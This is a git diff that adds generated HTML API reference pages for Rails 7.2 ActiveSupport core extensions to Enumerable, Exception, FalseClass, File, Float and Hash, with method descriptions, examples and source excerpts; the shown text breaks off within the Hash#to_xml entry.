diff --git a/src/7.2/classes/Enumerable.html b/src/7.2/classes/Enumerable.html new file mode 100644 index 0000000000..c29b4f0b88 --- /dev/null +++ b/src/7.2/classes/Enumerable.html @@ -0,0 +1,739 @@ +--- +title: Enumerable +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + + + +

Class

+ + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + compact_blank() + +

+ + +
+

Returns a new Array without the blank items. Uses Object#blank? for determining if an item is blank.

+ +
[1, "", nil, 2, " ", [], {}, false, true].compact_blank
+# =>  [1, 2, true]
+
+Set.new([nil, "", 1, false]).compact_blank
+# => [1]
+
+ +

When called on a Hash, returns a new Hash without the blank values.

+ +
{ a: "", b: 1, c: nil, d: [], e: false, f: true }.compact_blank
+# => { b: 1, f: true }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 184
+  def compact_blank
+    reject(&:blank?)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exclude?(object) + +

+ + +
+

The negative of the Enumerable#include?. Returns true if the collection does not include the object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 118
+  def exclude?(object)
+    !include?(object)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + excluding(*elements) + +

+ + +
+

Returns a copy of the enumerable excluding the specified elements.

+ +
["David", "Rafael", "Aaron", "Todd"].excluding "Aaron", "Todd"
+# => ["David", "Rafael"]
+
+["David", "Rafael", "Aaron", "Todd"].excluding %w[ Aaron Todd ]
+# => ["David", "Rafael"]
+
+{foo: 1, bar: 2, baz: 3}.excluding :bar
+# => {foo: 1, baz: 3}
+
+
+ + + +
+ Also aliased as: without +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 132
+  def excluding(*elements)
+    elements.flatten!(1)
+    reject { |element| elements.include?(element) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_order_of(key, series) + +

+ + +
+

Returns a new Array where the order has been set to that provided in the series, based on the key of the objects in the original enumerable.

+ +
[ Person.find(5), Person.find(3), Person.find(1) ].in_order_of(:id, [ 1, 5, 3 ])
+# => [ Person.find(1), Person.find(5), Person.find(3) ]
+
+ +

If the series include keys that have no corresponding element in the Enumerable, these are ignored. If the Enumerable has additional elements that aren’t named in the series, these are not included in the result.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 196
+  def in_order_of(key, series)
+    group_by(&key).values_at(*series).flatten(1).compact
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + including(*elements) + +

+ + +
+

Returns a new array that includes the passed elements.

+ +
[ 1, 2, 3 ].including(4, 5)
+# => [ 1, 2, 3, 4, 5 ]
+
+["David", "Rafael"].including %w[ Aaron Todd ]
+# => ["David", "Rafael", "Aaron", "Todd"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 112
+  def including(*elements)
+    to_a.including(*elements)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_by() + +

+ + +
+

Convert an enumerable to a hash, using the block result as the key and the element as the value.

+ +
people.index_by(&:login)
+# => { "nextangle" => <Person ...>, "chade-" => <Person ...>, ...}
+
+people.index_by { |person| "#{person.first_name} #{person.last_name}" }
+# => { "Chade- Fowlersburg-e" => <Person ...>, "David Heinemeier Hansson" => <Person ...>, ...}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 52
+  def index_by
+    if block_given?
+      result = {}
+      each { |elem| result[yield(elem)] = elem }
+      result
+    else
+      to_enum(:index_by) { size if respond_to?(:size) }
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + index_with(default = (no_default = true)) + +

+ + +
+

Convert an enumerable to a hash, using the element as the key and the block result as the value.

+ +
post = Post.new(title: "hey there", body: "what's up?")
+
+%i( title body ).index_with { |attr_name| post.public_send(attr_name) }
+# => { title: "hey there", body: "what's up?" }
+
+ +

If an argument is passed instead of a block, it will be used as the value for all elements:

+ +
%i( created_at updated_at ).index_with(Time.now)
+# => { created_at: 2020-03-09 22:31:47, updated_at: 2020-03-09 22:31:47 }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 75
+  def index_with(default = (no_default = true))
+    if block_given?
+      result = {}
+      each { |elem| result[elem] = yield(elem) }
+      result
+    elsif no_default
+      to_enum(:index_with) { size if respond_to?(:size) }
+    else
+      result = {}
+      each { |elem| result[elem] = default }
+      result
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + many?() + +

+ + +
+

Returns true if the enumerable has more than 1 element. Functionally equivalent to enum.to_a.size > 1. Can be called with a block too, much like any?, so people.many? { |p| p.age > 26 } returns true if more than one person is over 26.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 93
+  def many?
+    cnt = 0
+    if block_given?
+      any? do |*args|
+        cnt += 1 if yield(*args)
+        cnt > 1
+      end
+    else
+      any? { (cnt += 1) > 1 }
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + maximum(key) + +

+ + +
+

Calculates the maximum from the extracted elements.

+ +
payments = [Payment.new(5), Payment.new(15), Payment.new(10)]
+payments.maximum(:price) # => 15
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 40
+  def maximum(key)
+    map(&key).max
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + minimum(key) + +

+ + +
+

Calculates the minimum from the extracted elements.

+ +
payments = [Payment.new(5), Payment.new(15), Payment.new(10)]
+payments.minimum(:price) # => 5
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 32
+  def minimum(key)
+    map(&key).min
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pick(*keys) + +

+ + +
+

Extract the given key from the first element in the enumerable.

+ +
[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pick(:name)
+# => "David"
+
+[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pick(:id, :name)
+# => [1, "David"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 161
+  def pick(*keys)
+    return if none?
+
+    if keys.many?
+      keys.map { |key| first[key] }
+    else
+      first[keys.first]
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluck(*keys) + +

+ + +
+

Extract the given key from each element in the enumerable.

+ +
[{ name: "David" }, { name: "Rafael" }, { name: "Aaron" }].pluck(:name)
+# => ["David", "Rafael", "Aaron"]
+
+[{ id: 1, name: "David" }, { id: 2, name: "Rafael" }].pluck(:id, :name)
+# => [[1, "David"], [2, "Rafael"]]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 145
+  def pluck(*keys)
+    if keys.many?
+      map { |element| keys.map { |key| element[key] } }
+    else
+      key = keys.first
+      map { |element| element[key] }
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + sole() + +

+ + +
+

Returns the sole item in the enumerable. If there are no items, or more than one item, raises Enumerable::SoleItemExpectedError.

+ +
["x"].sole          # => "x"
+Set.new.sole        # => Enumerable::SoleItemExpectedError: no item found
+{ a: 1, b: 2 }.sole # => Enumerable::SoleItemExpectedError: multiple items found
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 206
+  def sole
+    case count
+    when 1   then return first # rubocop:disable Style/RedundantReturn
+    when 0   then raise ActiveSupport::EnumerableCoreExt::SoleItemExpectedError, "no item found"
+    when 2.. then raise ActiveSupport::EnumerableCoreExt::SoleItemExpectedError, "multiple items found"
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + without(*elements) + +

+ + +
+ +
+ + + + + +
+ Alias for: excluding +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Enumerable/SoleItemExpectedError.html b/src/7.2/classes/Enumerable/SoleItemExpectedError.html new file mode 100644 index 0000000000..e71bd11383 --- /dev/null +++ b/src/7.2/classes/Enumerable/SoleItemExpectedError.html @@ -0,0 +1,66 @@ +--- +title: Enumerable::SoleItemExpectedError +layout: default +--- +
+ +
+
+ +
+ +

Error generated by sole when called on an enumerable that doesn’t have exactly one item.

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Exception.html b/src/7.2/classes/Exception.html new file mode 100644 index 0000000000..9442c28db7 --- /dev/null +++ b/src/7.2/classes/Exception.html @@ -0,0 +1,107 @@ +--- +title: Exception +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + as_json(options = nil) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/json.rb, line 251
+  def as_json(options = nil)
+    to_s
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/FalseClass.html b/src/7.2/classes/FalseClass.html new file mode 100644 index 0000000000..a602405622 --- /dev/null +++ b/src/7.2/classes/FalseClass.html @@ -0,0 +1,155 @@ +--- +title: FalseClass +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + blank?() + +

+ + +
+

false is blank:

+ +
false.blank? # => true
+
+ +

@return [true]

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/blank.rb, line 71
+  def blank?
+    true
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_param() + +

+ + +
+

Returns self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 34
+  def to_param
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/File.html b/src/7.2/classes/File.html new file mode 100644 index 0000000000..bf069cca1e --- /dev/null +++ b/src/7.2/classes/File.html @@ -0,0 +1,153 @@ +--- +title: File +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + atomic_write(file_name, temp_dir = dirname(file_name)) + +

+ + +
+

Write to a file atomically. Useful for situations where you don’t want other processes or threads to see half-written files.

+ +
File.atomic_write('important.file') do |file|
+  file.write('hello')
+end
+
+ +

This method needs to create a temporary file. By default it will create it in the same directory as the destination file. If you don’t like this behavior you can provide a different directory but it must be on the same physical filesystem as the file you’re trying to write.

+ +
File.atomic_write('/data/something.important', '/data/tmp') do |file|
+  file.write('hello')
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/file/atomic.rb, line 21
+  def self.atomic_write(file_name, temp_dir = dirname(file_name))
+    require "tempfile" unless defined?(Tempfile)
+
+    Tempfile.open(".#{basename(file_name)}", temp_dir) do |temp_file|
+      temp_file.binmode
+      return_val = yield temp_file
+      temp_file.close
+
+      old_stat = if exist?(file_name)
+        # Get original file permissions
+        stat(file_name)
+      else
+        # If not possible, probe which are the default permissions in the
+        # destination directory.
+        probe_stat_in(dirname(file_name))
+      end
+
+      if old_stat
+        # Set correct permissions on new file
+        begin
+          chown(old_stat.uid, old_stat.gid, temp_file.path)
+          # This operation will affect filesystem ACL's
+          chmod(old_stat.mode, temp_file.path)
+        rescue Errno::EPERM, Errno::EACCES
+          # Changing file ownership failed, moving on.
+        end
+      end
+
+      # Overwrite original file with temp file
+      rename(temp_file.path, file_name)
+      return_val
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/Float.html b/src/7.2/classes/Float.html new file mode 100644 index 0000000000..775f1e6efd --- /dev/null +++ b/src/7.2/classes/Float.html @@ -0,0 +1,60 @@ +--- +title: Float +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Hash.html b/src/7.2/classes/Hash.html new file mode 100644 index 0000000000..3f276c0628 --- /dev/null +++ b/src/7.2/classes/Hash.html @@ -0,0 +1,1660 @@ +--- +title: Hash +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + from_trusted_xml(xml) + +

+ + +
+

Builds a Hash from XML just like Hash.from_xml, but also allows Symbol and YAML.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/conversions.rb, line 133
+    def from_trusted_xml(xml)
+      from_xml xml, []
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from_xml(xml, disallowed_types = nil) + +

+ + +
+

Returns a Hash containing a collection of pairs when the key is the node name and the value is its content

+ +
xml = <<-XML
+  <?xml version="1.0" encoding="UTF-8"?>
+    <hash>
+      <foo type="integer">1</foo>
+      <bar type="integer">2</bar>
+    </hash>
+XML
+
+hash = Hash.from_xml(xml)
+# => {"hash"=>{"foo"=>1, "bar"=>2}}
+
+ +

DisallowedType is raised if the XML contains attributes with type="yaml" or type="symbol". Use Hash.from_trusted_xml to parse this XML.

+ +

Custom disallowed_types can also be passed in the form of an array.

+ +
xml = <<-XML
+  <?xml version="1.0" encoding="UTF-8"?>
+    <hash>
+      <foo type="integer">1</foo>
+      <bar type="string">"David"</bar>
+    </hash>
+XML
+
+hash = Hash.from_xml(xml, ['integer'])
+# => ActiveSupport::XMLConverter::DisallowedType: Disallowed type attribute: "integer"
+
+ +

Note that passing custom disallowed types will override the default types, which are Symbol and YAML.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/conversions.rb, line 128
+    def from_xml(xml, disallowed_types = nil)
+      ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + assert_valid_keys(*valid_keys) + +

+ + +
+

Validates all keys in a hash match *valid_keys, raising ArgumentError on a mismatch.

+ +

Note that keys are treated differently than HashWithIndifferentAccess, meaning that string and symbol keys will not match.

+ +
{ name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+{ name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
+{ name: 'Rob', age: '28' }.assert_valid_keys(:name, :age)   # => passes, raises nothing
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 48
+  def assert_valid_keys(*valid_keys)
+    valid_keys.flatten!
+    each_key do |k|
+      unless valid_keys.include?(k)
+        raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compact_blank!() + +

+ + +
+

Removes all blank values from the Hash in place and returns self. Uses Object#blank? for determining if a value is blank.

+ +
h = { a: "", b: 1, c: nil, d: [], e: false, f: true }
+h.compact_blank!
+# => { b: 1, f: true }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/enumerable.rb, line 227
+  def compact_blank!
+    # use delete_if rather than reject! because it always returns self even if nothing changed
+    delete_if { |_k, v| v.blank? }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_dup() + +

+ + +
+

Returns a deep copy of hash.

+ +
hash = { a: { b: 'b' } }
+dup  = hash.deep_dup
+dup[:a][:c] = 'c'
+
+hash[:a][:c] # => nil
+dup[:a][:c]  # => "c"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/deep_dup.rb, line 43
+  def deep_dup
+    hash = dup
+    each_pair do |key, value|
+      if ::String === key || ::Symbol === key
+        hash[key] = value.deep_dup
+      else
+        hash.delete(key)
+        hash[key.deep_dup] = value.deep_dup
+      end
+    end
+    hash
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_merge(other_hash, &block) + + +

+ + +
+

Returns a new hash with self and other_hash merged recursively.

+ +
h1 = { a: true, b: { c: [1, 2, 3] } }
+h2 = { a: false, b: { x: [3, 4, 5] } }
+
+h1.deep_merge(h2) # => { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+
+ +

Like with Hash#merge in the standard library, a block can be provided to merge values:

+ +
h1 = { a: 100, b: 200, c: { c1: 100 } }
+h2 = { b: 250, c: { c1: 200 } }
+h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
+# => { a: 100, b: 450, c: { c1: 300 } }
+
+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + deep_stringify_keys() + +

+ + +
+

Returns a new hash with all keys converted to strings. This includes the keys from the root hash and from all nested hashes and arrays.

+ +
hash = { person: { name: 'Rob', age: '28' } }
+
+hash.deep_stringify_keys
+# => {"person"=>{"name"=>"Rob", "age"=>"28"}}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 84
+  def deep_stringify_keys
+    deep_transform_keys { |k| Symbol === k ? k.name : k.to_s }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_stringify_keys!() + +

+ + +
+

Destructively converts all keys to strings. This includes the keys from the root hash and from all nested hashes and arrays.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 91
+  def deep_stringify_keys!
+    deep_transform_keys! { |k| Symbol === k ? k.name : k.to_s }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_symbolize_keys() + +

+ + +
+

Returns a new hash with all keys converted to symbols, as long as they respond to to_sym. This includes the keys from the root hash and from all nested hashes and arrays.

+ +
hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
+
+hash.deep_symbolize_keys
+# => {:person=>{:name=>"Rob", :age=>"28"}}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 103
+  def deep_symbolize_keys
+    deep_transform_keys { |key| key.to_sym rescue key }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_symbolize_keys!() + +

+ + +
+

Destructively converts all keys to symbols, as long as they respond to to_sym. This includes the keys from the root hash and from all nested hashes and arrays.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 110
+  def deep_symbolize_keys!
+    deep_transform_keys! { |key| key.to_sym rescue key }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_transform_keys(&block) + +

+ + +
+

Returns a new hash with all keys converted by the block operation. This includes the keys from the root hash and from all nested hashes and arrays.

+ +
hash = { person: { name: 'Rob', age: '28' } }
+
+hash.deep_transform_keys{ |key| key.to_s.upcase }
+# => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 65
+  def deep_transform_keys(&block)
+    _deep_transform_keys_in_object(self, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_transform_keys!(&block) + +

+ + +
+

Destructively converts all keys by using the block operation. This includes the keys from the root hash and from all nested hashes and arrays.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 72
+  def deep_transform_keys!(&block)
+    _deep_transform_keys_in_object!(self, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_transform_values(&block) + +

+ + +
+

Returns a new hash with all values converted by the block operation. This includes the values from the root hash and from all nested hashes and arrays.

+ +
hash = { person: { name: 'Rob', age: '28' } }
+
+hash.deep_transform_values{ |value| value.to_s.upcase }
+# => {person: {name: "ROB", age: "28"}}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb, line 12
+  def deep_transform_values(&block)
+    _deep_transform_values_in_object(self, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_transform_values!(&block) + +

+ + +
+

Destructively converts all values by using the block operation. This includes the values from the root hash and from all nested hashes and arrays.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/deep_transform_values.rb, line 19
+  def deep_transform_values!(&block)
+    _deep_transform_values_in_object!(self, &block)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + except(*keys) + +

+ + +
+

Returns a hash that includes everything except given keys.

+ +
hash = { a: true, b: false, c: nil }
+hash.except(:c)     # => { a: true, b: false }
+hash.except(:a, :b) # => { c: nil }
+hash                # => { a: true, b: false, c: nil }
+
+ +

This is useful for limiting a set of parameters to everything but a few known toggles:

+ +
@person.update(params[:person].except(:admin))
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/except.rb, line 12
+  def except(*keys)
+    slice(*self.keys - keys)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + except!(*keys) + +

+ + +
+

Removes the given keys from hash and returns it.

+ +
hash = { a: true, b: false, c: nil }
+hash.except!(:c) # => { a: true, b: false }
+hash             # => { a: true, b: false }
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/except.rb, line 20
+  def except!(*keys)
+    keys.each { |key| delete(key) }
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract!(*keys) + +

+ + +
+

Removes and returns the key/value pairs matching the given keys.

+ +
hash = { a: 1, b: 2, c: 3, d: 4 }
+hash.extract!(:a, :b) # => {:a=>1, :b=>2}
+hash                  # => {:c=>3, :d=>4}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/slice.rb, line 24
+  def extract!(*keys)
+    keys.each_with_object(self.class.new) { |key, result| result[key] = delete(key) if has_key?(key) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extractable_options?() + +

+ + +
+

By default, only instances of Hash itself are extractable. Subclasses of Hash may implement this method and return true to declare themselves as extractable. If a Hash is extractable, Array#extract_options! pops it from the Array when it is the last element of the Array.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/array/extract_options.rb, line 9
+  def extractable_options?
+    instance_of?(Hash)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + nested_under_indifferent_access() + +

+ + +
+

Called when object is nested under an object that receives with_indifferent_access. This method will be called on the current object by the enclosing object and is aliased to with_indifferent_access by default. Subclasses of Hash may override this method to return self if converting to an ActiveSupport::HashWithIndifferentAccess would not be desirable.

+ +
b = { b: 1 }
+{ a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+# => {"b"=>1}
+
+
+ + + + + +
+ Alias for: with_indifferent_access +
+ + + + +
+ +
+

+ + reverse_merge(other_hash) + +

+ + +
+

Merges the caller into other_hash. For example,

+ +
options = options.reverse_merge(size: 25, velocity: 10)
+
+ +

is equivalent to

+ +
options = { size: 25, velocity: 10 }.merge(options)
+
+ +

This is particularly useful for initializing an options hash with default values.

+
+ + + +
+ Also aliased as: with_defaults +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/reverse_merge.rb, line 14
+  def reverse_merge(other_hash)
+    other_hash.merge(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_merge!(other_hash) + +

+ + +
+

Destructive reverse_merge.

+
+ + + +
+ Also aliased as: reverse_update, with_defaults! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/reverse_merge.rb, line 20
+  def reverse_merge!(other_hash)
+    replace(reverse_merge(other_hash))
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reverse_update(other_hash) + +

+ + +
+ +
+ + + + + +
+ Alias for: reverse_merge! +
+ + + + +
+ +
+

+ + slice!(*keys) + +

+ + +
+

Replaces the hash with only the given keys. Returns a hash containing the removed key/value pairs.

+ +
hash = { a: 1, b: 2, c: 3, d: 4 }
+hash.slice!(:a, :b)  # => {:c=>3, :d=>4}
+hash                 # => {:a=>1, :b=>2}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/slice.rb, line 10
+  def slice!(*keys)
+    omit = slice(*self.keys - keys)
+    hash = slice(*keys)
+    hash.default      = default
+    hash.default_proc = default_proc if default_proc
+    replace(hash)
+    omit
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stringify_keys() + +

+ + +
+

Returns a new hash with all keys converted to strings.

+ +
hash = { name: 'Rob', age: '28' }
+
+hash.stringify_keys
+# => {"name"=>"Rob", "age"=>"28"}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 10
+  def stringify_keys
+    transform_keys { |k| Symbol === k ? k.name : k.to_s }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + stringify_keys!() + +

+ + +
+

Destructively converts all keys to strings. Same as stringify_keys, but modifies self.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 16
+  def stringify_keys!
+    transform_keys! { |k| Symbol === k ? k.name : k.to_s }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + symbolize_keys() + +

+ + +
+

Returns a new hash with all keys converted to symbols, as long as they respond to to_sym.

+ +
hash = { 'name' => 'Rob', 'age' => '28' }
+
+hash.symbolize_keys
+# => {:name=>"Rob", :age=>"28"}
+
+
+ + + +
+ Also aliased as: to_options +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 27
+  def symbolize_keys
+    transform_keys { |key| key.to_sym rescue key }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + symbolize_keys!() + +

+ + +
+

Destructively converts all keys to symbols, as long as they respond to to_sym. Same as symbolize_keys, but modifies self.

+
+ + + +
+ Also aliased as: to_options! +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/hash/keys.rb, line 34
+  def symbolize_keys!
+    transform_keys! { |key| key.to_sym rescue key }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_options() + +

+ + +
+ +
+ + + + + +
+ Alias for: symbolize_keys +
+ + + + +
+ +
+

+ + to_options!() + +

+ + +
+ +
+ + + + + +
+ Alias for: symbolize_keys! +
+ + + + +
+ +
+

+ + to_param(namespace = nil) + +

+ + +
+ +
+ + + + + +
+ Alias for: to_query +
+ + + + +
+ +
+

+ + to_query(namespace = nil) + +

+ + +
+

Returns a string representation of the receiver suitable for use as a URL query string:

+ +
{name: 'David', nationality: 'Danish'}.to_query
+# => "name=David&nationality=Danish"
+
+ +

An optional namespace can be passed to enclose key names:

+ +
{name: 'David', nationality: 'Danish'}.to_query('user')
+# => "user%5Bname%5D=David&user%5Bnationality%5D=Danish"
+
+ +

The string pairs β€œkey=value” that conform the query string are sorted lexicographically in ascending order.

+
+ + + +
+ Also aliased as: to_param +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/object/to_query.rb, line 75
+  def to_query(namespace = nil)
+    query = filter_map do |key, value|
+      unless (value.is_a?(Hash) || value.is_a?(Array)) && value.empty?
+        value.to_query(namespace ? "#{namespace}[#{key}]" : key)
+      end
+    end
+
+    query.sort! unless namespace.to_s.include?("[]")
+    query.join("&")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_xml(options = {}) + +

+ + +
+

Returns a string containing an XML representation of its receiver:

+ +
{ foo: 1, bar: 2 }.to_xml
+# =>
+# <?xml version="1.0" encoding="UTF-8"?>
+# <hash>
+#   <foo type="integer">1</foo>
+#   <bar type="integer">2</bar>
+# </hash>
+
+ +

To do so, the method loops over the pairs and builds nodes that depend on the values. Given a pair key, value:

+
  • +

    If value is a hash there’s a recursive call with key as :root.

    +
  • +

    If value is an array there’s a recursive call with key as :root, and key singularized as :children.

    +
  • +

    If value is a callable object it must expect one or two arguments. Depending on the arity, the callable is invoked with the options hash as first argument with key as :root, and key singularized as second argument. The callable can add nodes by using options[:builder].

    + +
    {foo: lambda { |options, key| options[:builder].b(key) }}.to_xml
    +# => "<b>foo</b>"
    +
    +
  • +

    If value responds to to_xml the method is invoked with key as :root.

    + +
    class Foo
    +  def to_xml(options)
    +    options[:builder].bar 'fooing!'
    +  end
    +end
    +
    +{ foo: Foo.new }.to_xml(skip_instruct: true)
    +# =>
    +# <hash>
    +#   <bar>fooing!</bar>
